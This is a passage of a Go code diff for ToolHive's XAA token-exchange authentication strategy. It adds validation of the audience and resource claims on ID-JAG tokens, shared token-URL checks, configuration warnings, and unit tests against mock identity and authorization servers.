+ name: "no-op when no secret refs configured", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + wantStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + { + name: "nil strategy", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{}, + }, + }, + inputStrategy: nil, + wantErr: true, + errContains: "xaa strategy is nil", + }, + { + name: "nil xaa config in external auth", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: nil, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "xaa config is nil", + }, + { + name: "missing IdP secret", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "nonexistent-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "failed to resolve IdP client secret", + }, + { + name: "missing key in target secret", + externalAuth: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "wrong-key", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + setupSecrets: func(k8sClient client.Client) error { + secret := &corev1.Secret{ + ObjectMeta: metav1.ObjectMeta{ + Name: "target-secret", + Namespace: "default", + }, + Data: map[string][]byte{ + "client-secret": []byte("target-secret-value"), + }, + } + return k8sClient.Create(context.Background(), secret) + }, + inputStrategy: &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{}, + }, + wantErr: true, + errContains: "failed to resolve target client secret", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + // Create fake client with schemes + scheme := runtime.NewScheme() + _ = mcpv1beta1.AddToScheme(scheme) + _ = corev1.AddToScheme(scheme) + fakeClient := fake.NewClientBuilder().WithScheme(scheme).Build() + + // Setup secrets if provided + if tt.setupSecrets != nil { + err := tt.setupSecrets(fakeClient) + require.NoError(t, err, "failed to setup secrets") + } + + converter := &XAAConverter{} + strategy, err := converter.ResolveSecrets( + context.Background(), + tt.externalAuth, + fakeClient, + tt.externalAuth.Namespace, + tt.inputStrategy, + ) + + if tt.wantErr { + require.Error(t, err) + if tt.errContains != "" { + assert.Contains(t, err.Error(), tt.errContains) + } + return + } + + require.NoError(t, err) + assert.Equal(t, tt.wantStrategy, strategy) + }) + } +} diff --git a/pkg/vmcp/auth/strategies/xaa.go b/pkg/vmcp/auth/strategies/xaa.go index 5c71a3cca2..8e72041047 100644 --- a/pkg/vmcp/auth/strategies/xaa.go +++ b/pkg/vmcp/auth/strategies/xaa.go @@ -18,7 +18,6 @@ import ( "github.com/stacklok/toolhive-core/env" "github.com/stacklok/toolhive/pkg/auth" - "github.com/stacklok/toolhive/pkg/networking" "github.com/stacklok/toolhive/pkg/oauthproto" "github.com/stacklok/toolhive/pkg/oauthproto/jwtbearer" "github.com/stacklok/toolhive/pkg/oauthproto/tokenexchange" @@ -29,16 +28,16 @@ import ( // XAAStrategy implements XAA (Cross-Application Access) as a two-step token // exchange, following draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG): // -// - Step A (RFC 8693): Exchange the user's ID token at the IdP for an ID-JAG JWT. -// - Step B (RFC 7523): Exchange the ID-JAG at the target AS for an access token. +// - IdP exchange (RFC 8693): Exchange the user's ID token at the IdP for an ID-JAG JWT. +// - Target grant (RFC 7523): Exchange the ID-JAG at the target AS for an access token. // // Both steps run on every Authenticate call. The upper vMCP TokenCache layer is // responsible for reusing the resulting access token across requests; this // strategy holds no local cache. // -// The subject ID token is not validated locally before Step A. The IdP enforces -// its own exp check; if the token is expired, Step A returns an OAuth -// invalid_grant error which propagates to the caller. Callers that need +// The subject ID token is not validated locally before IdP exchange. The IdP +// enforces its own exp check; if the token is expired, IdP exchange returns an +// OAuth invalid_grant error which propagates to the caller. Callers that need // fine-grained re-auth signals can inspect it with: // // var re *oauth2.RetrieveError @@ -67,8 +66,8 @@ func (*XAAStrategy) Name() string { // 2. For health check requests: uses a client credentials grant at TargetTokenURL // if target client credentials are configured; otherwise skips authentication // 3. For regular requests: retrieves the user's ID token from the identity's -// UpstreamIDTokens map, performs Step A (token exchange for ID-JAG) and -// Step B (JWT Bearer grant for access token), then injects the access token +// UpstreamIDTokens map, performs IdP exchange (token exchange for ID-JAG) and +// target grant (JWT Bearer grant for access token), then injects the access token // // Parameters: // - ctx: Request context containing the authenticated identity (or health check marker) @@ -79,7 +78,7 @@ func (*XAAStrategy) Name() string { // - Strategy configuration is invalid or incomplete // - No identity is found in the context (regular requests only) // - The upstream ID token for the configured provider is not found -// - Step A (token exchange) or Step B (JWT Bearer grant) fails +// - IdP exchange (token exchange) or target grant (JWT Bearer grant) fails func (s *XAAStrategy) Authenticate( ctx context.Context, req *http.Request, strategy *authtypes.BackendAuthStrategy, ) error { @@ -122,23 +121,23 @@ func (s *XAAStrategy) Authenticate( slog.Debug("xaa: found ID token for provider", "provider", config.subjectProviderName) - // Step A: Exchange the user's ID token for an ID-JAG at the IdP. - assertion, err := s.performStepA(ctx, idToken, config) + // IdP exchange: Exchange the user's ID token for an ID-JAG at the IdP. + assertion, err := s.performIDPExchange(ctx, idToken, config) if err != nil { - slog.Debug("xaa: Step A failed", "error", err) - return fmt.Errorf("step A (ID-JAG exchange) failed: %w", err) + slog.Debug("xaa: IdP exchange failed", "error", err) + return fmt.Errorf("IdP exchange failed: %w", err) } - slog.Debug("xaa: Step A succeeded, got ID-JAG") + slog.Debug("xaa: IdP exchange succeeded, got ID-JAG") - // Step B: Exchange the ID-JAG for an access token at the target AS. - accessToken, err := s.performStepB(ctx, assertion, config) + // Target grant: Exchange the ID-JAG for an access token at the target AS. + accessToken, err := s.performTargetGrant(ctx, assertion, config) if err != nil { - slog.Debug("xaa: Step B failed", "error", err) - return fmt.Errorf("step B (JWT Bearer grant) failed: %w", err) + slog.Debug("xaa: target grant failed", "error", err) + return fmt.Errorf("target grant failed: %w", err) } - slog.Debug("xaa: Step B succeeded, setting Bearer token") + slog.Debug("xaa: target grant succeeded, setting Bearer token") req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", accessToken)) return nil @@ -159,8 +158,26 @@ func (s *XAAStrategy) Authenticate( // This validation is typically called during configuration parsing to fail fast // if the strategy is misconfigured. func (s *XAAStrategy) Validate(strategy *authtypes.BackendAuthStrategy) error { - _, err := s.parseXAAConfig(strategy) - return err + config, err := s.parseXAAConfig(strategy) + if err != nil { + return err + } + + // Emit configuration warnings here rather than in parseXAAConfig: Validate + // runs once per backend at wire-up, whereas parseXAAConfig also runs on every + // Authenticate call and would spam these on every request. + if config.allowInsecureHTTP { + slog.Warn("xaa: plain HTTP enabled for TargetTokenURL; do not use in production", + "targetTokenURL", config.targetTokenURL, + ) + } + if config.targetClientID == "" { + slog.Warn("xaa: target grant will run without client authentication; " + + "most authorization servers reject unauthenticated JWT-bearer grants " + + "(ID-JAG draft §9.1 recommends confidential clients)") + } + + return nil } // xaaParsedConfig holds the parsed and resolved XAA configuration. @@ -175,6 +192,7 @@ type xaaParsedConfig struct { targetResource string scopes []string subjectProviderName string + subjectTokenType string allowInsecureHTTP bool } @@ -204,17 +222,20 @@ func (*XAAStrategy) authenticateWithClientCredentials( return nil } -// performStepA runs the RFC 8693 token exchange at the IdP to obtain an ID-JAG. -// It verifies the response's issued_token_type matches the ID-JAG URN per -// draft-ietf-oauth-identity-assertion-authz-grant §4.3.3. -func (*XAAStrategy) performStepA( +// performIDPExchange runs the RFC 8693 token exchange at the IdP to obtain an +// ID-JAG. It verifies the response's issued_token_type matches the ID-JAG URN +// (draft §4.3.3) and that token_type is N_A (draft §5.2), logs a mismatch on +// the JWT typ header, rejects an empty or unparsable assertion, and validates +// the aud/resource binding claims against what was requested (confused-deputy +// defence; see validateIDJAGClaims). +func (*XAAStrategy) performIDPExchange( ctx context.Context, idToken string, config *xaaParsedConfig, ) (string, error) { exchangeCfg := &tokenexchange.ExchangeConfig{ TokenURL: config.idpTokenURL, ClientID: config.idpClientID, ClientSecret: config.idpClientSecret, - SubjectTokenType: oauthproto.TokenTypeIDToken, + SubjectTokenType: config.subjectTokenType, RequestedTokenType: oauthproto.TokenTypeIDJAG, Audience: config.targetAudience, Resource: config.targetResource, @@ -226,55 +247,143 @@ func (*XAAStrategy) performStepA( token, err := exchangeCfg.TokenSource(ctx).Token() if err != nil { - return "", fmt.Errorf("step A token exchange: %w", err) + return "", fmt.Errorf("IdP exchange: %w", err) } // Per draft-ietf-oauth-identity-assertion-authz-grant §4.3.3, the IdP MUST // return issued_token_type = urn:ietf:params:oauth:token-type:id-jag. Fail - // loudly if it returned anything else so Step B cannot accidentally be fed - // a non-assertion token. + // loudly if it returned anything else so target grant cannot accidentally + // be fed a non-assertion token. got, _ := token.Extra("issued_token_type").(string) if got != oauthproto.TokenTypeIDJAG { - return "", fmt.Errorf("step A: IdP returned issued_token_type=%q, want %q", got, oauthproto.TokenTypeIDJAG) + return "", fmt.Errorf("IdP exchange: IdP returned issued_token_type=%q, want %q", got, oauthproto.TokenTypeIDJAG) } // Per draft-ietf-oauth-identity-assertion-authz-grant §5.2, the RFC 8693 // response MUST carry token_type=N_A for an assertion that is not usable // as a bearer token at the IdP. if !strings.EqualFold(token.TokenType, "N_A") { - return "", fmt.Errorf("step A: IdP returned token_type=%q, want N_A (draft §5.2)", token.TokenType) + return "", fmt.Errorf("IdP exchange: IdP returned token_type=%q, want N_A (draft §5.2)", token.TokenType) } // The AccessToken field holds the ID-JAG per RFC 8693 response format. assertion := token.AccessToken if assertion == "" { - return "", fmt.Errorf("step A: IdP returned an empty ID-JAG assertion") + return "", fmt.Errorf("IdP exchange: IdP returned an empty ID-JAG assertion") } // Defence-in-depth: inspect the JWT typ header. The draft §3.1 MUST for // typ: oauth-id-jag+jwt is on the issuer (IdP); ToolHive is the - // holder/presenter — the target AS validates the ID-JAG in Step B. A + // holder/presenter — the target AS validates the ID-JAG in target grant. A // mismatch is deliberately logged rather than fatal; the fatal contract // enforced here is issued_token_type (RFC 8693 §2.2.1, checked above). const idJAGJWTType = "oauth-id-jag+jwt" parser := jwt.NewParser() parsed, _, parseErr := parser.ParseUnverified(assertion, jwt.MapClaims{}) - if parseErr == nil { - if typ, _ := parsed.Header["typ"].(string); !strings.EqualFold(typ, idJAGJWTType) { - slog.Debug("xaa: ID-JAG JWT typ header mismatch", - "got", typ, "want", idJAGJWTType, - ) - } - } else { - slog.Debug("xaa: could not parse ID-JAG JWT header for typ check", "error", parseErr) + if parseErr != nil { + // A non-parseable assertion cannot carry valid aud/resource claims and + // therefore cannot be a valid ID-JAG. Fail fast rather than forwarding + // an unvalidated assertion to the target AS. + return "", fmt.Errorf("IdP exchange: ID-JAG assertion is not a valid JWT: %w", parseErr) + } + if typ, _ := parsed.Header["typ"].(string); !strings.EqualFold(typ, idJAGJWTType) { + slog.Debug("xaa: ID-JAG JWT typ header mismatch", + "got", typ, "want", idJAGJWTType, + ) + } + // The assertion cannot fail: ParseUnverified was called with a literal + // jwt.MapClaims{}, which it decodes into in place. The !ok branch is + // defensive. + claims, ok := parsed.Claims.(jwt.MapClaims) + if !ok { + return "", fmt.Errorf("IdP exchange: ID-JAG claims are not MapClaims") + } + if err := validateIDJAGClaims(claims, config.targetAudience, config.targetResource); err != nil { + return "", err } return assertion, nil } -// performStepB runs the RFC 7523 JWT Bearer grant at the target AS using the -// ID-JAG assertion returned by Step A. -func (*XAAStrategy) performStepB( +// validateIDJAGClaims checks the aud and resource claims of the returned ID-JAG +// JWT against the values requested in the IdP exchange (draft §3.1, §5). +// +// Per draft §4.4.1, aud MUST be a single-value issuer identifier: either a JSON +// string, or a JSON array containing exactly one element. A multi-element aud +// array is malformed and is rejected (see audMatches). resource is checked +// only when one was requested (the resource parameter is OPTIONAL per draft +// §4.3); when one was requested, ToolHive requires the returned ID-JAG to echo +// it — a deliberate strict-binding policy, stricter than the draft, which +// leaves resource OPTIONAL in the response even when requested. +// +// This is defence-in-depth against token misbinding: if the IdP mints an ID-JAG +// for a different audience/resource, the target AS should reject it — but +// ToolHive fails fast rather than forwarding a mismatched assertion. +// +// Per RFC 7519 §4.1.3, the aud claim may be a string or an array of strings; +// golang-jwt/v5 decodes a JSON array as []interface{} whose elements are +// strings. resource legitimately allows an array of URIs per draft §3.1, so a +// membership check (claimContainsString) is used there; aud does not permit +// multiple values, so a dedicated single-value check (audMatches) is used +// instead. +func validateIDJAGClaims(claims jwt.MapClaims, wantAudience, wantResource string) error { + // aud is REQUIRED and single-valued per draft §4.4.1. + if !audMatches(claims, wantAudience) { + return fmt.Errorf("IdP exchange: ID-JAG aud claim %v does not match requested audience %q", claims["aud"], wantAudience) + } + + // Deliberately stricter than the draft: resource is OPTIONAL in the ID-JAG + // even when requested, but ToolHive rejects an ID-JAG that omits it once + // the operator has configured a resource to bind to. + if wantResource != "" && !claimContainsString(claims, "resource", wantResource) { + return fmt.Errorf( + "IdP exchange: ID-JAG resource claim %v does not contain requested resource %q", + claims["resource"], wantResource, + ) + } + + return nil +} + +// audMatches reports whether the aud claim is a single-value issuer identifier +// equal to want, per draft §4.4.1: either a JSON string, or a JSON array +// containing exactly one element. Any other shape — missing, multi-element +// array, empty array, wrong type, or a non-string element — is rejected. +func audMatches(claims jwt.MapClaims, want string) bool { + switch v := claims["aud"].(type) { + case string: + return v == want + case []interface{}: + if len(v) != 1 { + return false + } + s, ok := v[0].(string) + return ok && s == want + default: + return false + } +} + +// claimContainsString reports whether the named claim contains want. Per RFC +// 7519 the claim may be a single string or an array; golang-jwt/v5 decodes JSON +// arrays as []interface{} whose elements are strings. +func claimContainsString(claims jwt.MapClaims, key, want string) bool { + switch v := claims[key].(type) { + case string: + return v == want + case []interface{}: + for _, e := range v { + if s, ok := e.(string); ok && s == want { + return true + } + } + } + return false +} + +// performTargetGrant runs the RFC 7523 JWT Bearer grant at the target AS using +// the ID-JAG assertion returned by IdP exchange. +func (*XAAStrategy) performTargetGrant( ctx context.Context, assertion string, config *xaaParsedConfig, ) (string, error) { bearerCfg := &jwtbearer.Config{ @@ -290,45 +399,12 @@ func (*XAAStrategy) performStepB( token, err := bearerCfg.TokenSource(ctx).Token() if err != nil { - return "", fmt.Errorf("step B jwt-bearer grant: %w", err) + return "", fmt.Errorf("target grant: %w", err) } return token.AccessToken, nil } -// validateTokenURL checks that a configured token endpoint is a syntactically -// valid HTTPS (or localhost HTTP) URL with a host and no fragment. Mirrors the -// validator in pkg/oauthproto/jwtbearer.Config.Validate. -func validateTokenURL(label, endpoint string) error { - return validateTokenURLWithInsecure(label, endpoint, false) -} - -// validateTokenURLWithInsecure is like validateTokenURL but allows plain HTTP -// when allowInsecureHTTP is true. Used for the TargetTokenURL when -// InsecureTargetTokenURL is set. -func validateTokenURLWithInsecure(label, endpoint string, allowInsecureHTTP bool) error { - if err := networking.ValidateEndpointURLWithInsecure(endpoint, allowInsecureHTTP); err != nil { - return fmt.Errorf("%s: %w", label, err) - } - u, err := url.Parse(endpoint) - if err != nil { - return fmt.Errorf("%s is not a valid URL: %w", label, err) - } - if u.Scheme != "https" && u.Scheme != "http" { - return fmt.Errorf("%s must use http or https scheme", label) - } - if u.Host == "" { - return fmt.Errorf("%s must include a host", label) - } - if u.Fragment != "" { - return fmt.Errorf("%s must not contain a fragment", label) - } - if u.User != nil { - return fmt.Errorf("%s must not contain embedded credentials", label) - } - return nil -} - // resolveClientSecret resolves a client secret from either a direct value or an // environment variable. If both are provided, the direct value takes precedence. // Returns an error if a secret source requires a client ID but none is provided, @@ -396,10 +472,10 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* // Token endpoint URL shape: must be https (or http on localhost), have a // host, and not carry a fragment. Applied to both IdP and target endpoints. - if err := validateTokenURL("IDPTokenURL", cfg.IDPTokenURL); err != nil { + if err := jwtbearer.ValidateTokenURL("IDPTokenURL", cfg.IDPTokenURL, false); err != nil { return nil, err } - if err := validateTokenURLWithInsecure("TargetTokenURL", cfg.TargetTokenURL, cfg.InsecureTargetTokenURL); err != nil { + if err := jwtbearer.ValidateTokenURL("TargetTokenURL", cfg.TargetTokenURL, cfg.InsecureTargetTokenURL); err != nil { return nil, err } @@ -415,6 +491,11 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* return nil, fmt.Errorf("target credentials: %w", err) } + subjectTokenType := cfg.SubjectTokenType + if subjectTokenType == "" { + subjectTokenType = oauthproto.TokenTypeIDToken + } + return &xaaParsedConfig{ idpTokenURL: cfg.IDPTokenURL, idpClientID: cfg.IDPClientID, @@ -426,6 +507,7 @@ func (s *XAAStrategy) parseXAAConfig(strategy *authtypes.BackendAuthStrategy) (* targetResource: cfg.TargetResource, scopes: cfg.Scopes, subjectProviderName: cfg.SubjectProviderName, + subjectTokenType: subjectTokenType, allowInsecureHTTP: cfg.InsecureTargetTokenURL, }, nil } diff --git a/pkg/vmcp/auth/strategies/xaa_test.go b/pkg/vmcp/auth/strategies/xaa_test.go index fb25ac7fb7..6d3f69eb9a 100644 --- a/pkg/vmcp/auth/strategies/xaa_test.go +++ b/pkg/vmcp/auth/strategies/xaa_test.go @@ -60,8 +60,8 @@ func createXAAStrategy(opts ...func(*authtypes.XAAConfig)) *authtypes.BackendAut } } -// createXAAIdPServer creates a mock IdP server that validates Step A (RFC 8693) -// token exchange requests and returns an ID-JAG response. +// createXAAIdPServer creates a mock IdP server that validates IdP exchange +// (RFC 8693) token exchange requests and returns an ID-JAG response. func createXAAIdPServer(t *testing.T, expectedIDToken, idJAGToReturn string) *httptest.Server { t.Helper() return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -91,9 +91,9 @@ func createXAAIdPServer(t *testing.T, expectedIDToken, idJAGToReturn string) *ht })) } -// createXAATargetServer creates a mock target AS server that validates Step B -// (RFC 7523 JWT Bearer grant) requests and returns an access token. -func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn string) *httptest.Server { +// createXAATargetServer creates a mock target AS server that validates target +// grant (RFC 7523 JWT Bearer grant) requests and returns a fixed access token. +func createXAATargetServer(t *testing.T, expectedAssertion string) *httptest.Server { t.Helper() return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { t.Helper() @@ -109,7 +109,7 @@ func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn w.Header().Set("Content-Type", "application/json") err = json.NewEncoder(w).Encode(map[string]any{ - "access_token": accessTokenToReturn, + "access_token": "final-access-token", "token_type": "Bearer", "expires_in": 3600, }) @@ -117,6 +117,28 @@ func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn })) } +// xaaStrategyWithResource builds a BackendAuthStrategy for xaa with the standard +// test config including TargetResource, pointing at the provided IdP/target URLs. +func xaaStrategyWithResource(idpURL, targetURL string) *authtypes.BackendAuthStrategy { + return createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = idpURL + cfg.TargetTokenURL = targetURL + cfg.TargetAudience = testTargetAudience + cfg.TargetResource = testTargetResource + cfg.SubjectProviderName = testProviderGitHub + }) +} + +// mustNotBeCalledTargetServer returns a mock target AS whose handler fails the +// test if invoked. Used by error-path cases where the IdP exchange must reject +// the assertion before the target grant runs. +func mustNotBeCalledTargetServer(t *testing.T) *httptest.Server { + t.Helper() + return httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { + t.Error("target AS must not be called when IdP exchange rejects the ID-JAG") + })) +} + func TestXAAStrategy_Validate(t *testing.T) { t.Parallel() @@ -378,6 +400,16 @@ func TestXAAStrategy_Validate(t *testing.T) { }), expectError: "embedded credentials", }, + { + name: "InsecureTargetTokenURL=true still rejects non-http scheme in TargetTokenURL", + strategy: createXAAStrategy(func(cfg *authtypes.XAAConfig) { + cfg.IDPTokenURL = testIDPTokenURL + cfg.TargetTokenURL = "ftp://target.example.com/token" + cfg.TargetAudience = testTargetAudience + cfg.InsecureTargetTokenURL = true + }), + expectError: "TargetTokenURL must use http or https scheme", + }, { name: "InsecureTargetTokenURL=true does not relax IDPTokenURL validation", strategy: createXAAStrategy(func(cfg *authtypes.XAAConfig) { @@ -572,8 +604,9 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - idpServer := createXAAIdPServer(t, "user-id-token-jwt", "the-id-jag-token") - targetServer := createXAATargetServer(t, "the-id-jag-token", "final-access-token") + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := createXAATargetServer(t, idJAG) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -592,7 +625,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, }, { - name: "Step A fails with IdP error", + name: "IdP exchange fails with IdP error", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "bad-id-token"}) @@ -608,7 +641,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS should not be called when Step A fails") + t.Error("target AS should not be called when IdP exchange fails") })) return idpServer, targetServer }, @@ -622,17 +655,18 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A (ID-JAG exchange) failed"}, + errorContains: []string{"IdP exchange failed"}, }, { - name: "Step B fails with target AS error", + name: "target grant fails with target AS error", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "valid-id-token"}) }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - idpServer := createXAAIdPServer(t, "valid-id-token", "valid-id-jag") + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) + idpServer := createXAAIdPServer(t, "valid-id-token", idJAG) targetServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.WriteHeader(http.StatusUnauthorized) err := json.NewEncoder(w).Encode(map[string]any{ @@ -653,10 +687,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step B (JWT Bearer grant) failed"}, + errorContains: []string{"target grant failed"}, }, { - name: "Step A rejects wrong issued_token_type", + name: "IdP exchange rejects wrong issued_token_type", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -674,7 +708,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns the wrong issued_token_type") + t.Error("target AS must not be called when IdP exchange returns the wrong issued_token_type") })) return idpServer, targetServer }, @@ -688,10 +722,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A", "issued_token_type", oauthproto.TokenTypeIDJAG}, + errorContains: []string{"IdP exchange", "issued_token_type", oauthproto.TokenTypeIDJAG}, }, { - name: "Step A rejects wrong token_type", + name: "IdP exchange rejects wrong token_type", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -709,7 +743,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns the wrong token_type") + t.Error("target AS must not be called when IdP exchange returns the wrong token_type") })) return idpServer, targetServer }, @@ -726,7 +760,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { errorContains: []string{"N_A"}, }, { - name: "Step A rejects empty access_token", + name: "IdP exchange rejects empty access_token", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -744,7 +778,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns an empty assertion") + t.Error("target AS must not be called when IdP exchange returns an empty assertion") })) return idpServer, targetServer }, @@ -758,17 +792,17 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A", "access_token"}, + errorContains: []string{"IdP exchange", "access_token"}, }, { - name: "Step A typ header mismatch is not fatal", + name: "IdP exchange typ header mismatch is not fatal", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - wrongTypJWT := buildJWTWithTypHeader(t, "JWT") + wrongTypJWT := buildIDJAGJWT(t, "JWT", testTargetAudience, testTargetResource) idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "application/json") err := json.NewEncoder(w).Encode(map[string]any{ @@ -779,7 +813,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) assert.NoError(t, err) })) - targetServer := createXAATargetServer(t, wrongTypJWT, "final-access-token") + targetServer := createXAATargetServer(t, wrongTypJWT) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -798,14 +832,14 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, }, { - name: "Step A typ header matches oauth-id-jag+jwt", + name: "IdP exchange typ header matches oauth-id-jag+jwt", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) }, setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { t.Helper() - correctTypJWT := buildJWTWithTypHeader(t, "oauth-id-jag+jwt") + correctTypJWT := buildIDJAGJWT(t, "oauth-id-jag+jwt", testTargetAudience, testTargetResource) idpServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.Header().Set("Content-Type", "application/json") err := json.NewEncoder(w).Encode(map[string]any{ @@ -816,7 +850,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) assert.NoError(t, err) })) - targetServer := createXAATargetServer(t, correctTypJWT, "final-access-token") + targetServer := createXAATargetServer(t, correctTypJWT) return idpServer, targetServer }, strategy: func(idpURL, targetURL string) *authtypes.BackendAuthStrategy { @@ -834,6 +868,261 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.Equal(t, "Bearer final-access-token", req.Header.Get("Authorization")) }, }, + // aud claim validation (draft §3.1: aud is REQUIRED). + { + name: "IdP exchange rejects ID-JAG with missing aud claim", + setupCtx: func() context.Context { + return createContextWithUpstreamIDTokens( + map[string]string{testProviderGitHub: "user-id-token-jwt"}) + }, + setupServers: func(t *testing.T) (*httptest.Server, *httptest.Server) { + t.Helper() + idJAG := buildIDJAGJWT(t, "oauth-id-jag+jwt", nil, testTargetResource) + idpServer := createXAAIdPServer(t, "user-id-token-jwt", idJAG) + targetServer := mustNotBeCalledTargetServer(t) + return idpServer, targetServer + }, + strategy: xaaStrategyWithResource, + 